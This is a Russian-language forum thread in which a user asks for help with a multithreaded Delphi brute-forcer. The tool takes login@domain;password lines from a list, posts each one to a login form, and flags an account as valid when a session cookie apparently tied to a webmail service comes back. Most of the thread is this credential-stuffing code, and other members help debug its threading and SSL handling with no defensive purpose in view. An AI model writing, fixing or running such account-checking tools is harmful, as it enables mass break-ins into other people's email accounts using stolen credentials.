[Помогите!] Брут, потоки ^_^

[pavel!]

Проблема с потоками . . .
На одном потоке все окей, ставиш больше идет все в бад, даже сниффером не ловит запросы.
Все не могу понять почему при 1 потоке все окей и сниффер ловит запросы, а когда ставиш 2 и выше все катится в бад и нету запросов ^_^

Цитата: Сообщение от Поток TNewThread = class(TThread) private Login : string; Domain: string; Pass: string; Rez : integer; protected procedure Execute; override; public procedure Sync; constructor Create(CreateSuspended: Boolean); end;

Цитата: Сообщение от Кнопка старт Work:=true; Acc:=-1; for Thread := 1 to strtoint(form1.sSpinEdit1.Text) do TNewThread.Create(false); Thread:=strtoint(form1.sSpinEdit1.Text);

Цитата: Сообщение от брут procedure TNewThread.Execute; var HTTP:TidHTTP; CurAcc:integer; data:tstringlist; begin while work do begin CS.Enter; inc(Acc); if Acc<Source.Count then CurAcc:=Acc else Work:=false; CS.Leave; if work then begin HTTP:=TidHTTP.Create(nil); HTTP.IOHandler:=form1.IdSSLIOHandlerSocketOpenSSL1 ; Login:= Copy(Source[CurAcc],1,Pos('@',Source[CurAcc])-1); Domain:=Copy(Source[CurAcc], Pos('@', Source[CurAcc]) + 1, Pos(';', Source[CurAcc]) - Pos('@',Source[CurAcc]) - 1); Pass:= Copy(Source[CurAcc],Pos(';',Source[CurAcc])+1,Length(Source[CurAcc])); data:=tstringlist.Create; data.add('page='); data.Add('name='+Login); data.Add('Domain='+Domain); data.Add('Pass='+Pass); HTTP.HandleRedirects:=true; try HTTP.Post('Zapros ^_^', data); Rez:=0; except if Pos('Set-Cookie: Mpop=', HTTP.Response.RawHeaders.Text)<>0 then Rez:=1 else Rez:=2; end; HTTP.Free; data.Free; Synchronize(Sync); end; end; end;

Ребята помогите пожалусто ^_^

[Tip.the.besT]

Цитата: Сообщение от pavel! Проблема с потоками . . . На одном потоке все окей, ставиш больше идет все в бад, даже сниффером не ловит запросы. Все не могу понять почему при 1 потоке все окей и сниффер ловит запросы, а когда ставиш 2 и выше все катится в бад и нету запросов ^_^ Ребята помогите пожалусто ^_^

Довольно подозрительная строка:

HTTP.IOHandler:=form1.IdSSLIOHandlerSocketOpenSSL1 ;

Попробуй создать динамически, а не присвоить из главного потока.

[Relli]

Tip.the.besT, все нормально.
Просто в его коде была ошибка,из-за которой одно из действий зацикливалось.Я ему помог в тот же день.Просто он забыл отписаться,что проблема решена

[Tip.the.besT]

Цитата: Сообщение от Relli Tip.the.besT, все нормально. Просто в его коде была ошибка,из-за которой одно из действий зацикливалось.Я ему помог в тот же день.Просто он забыл отписаться,что проблема решена

Просто всё равно страшно, индейцев кучя и каждый подключает один и тот же ssl... Я бы не стал так с делфями шутить.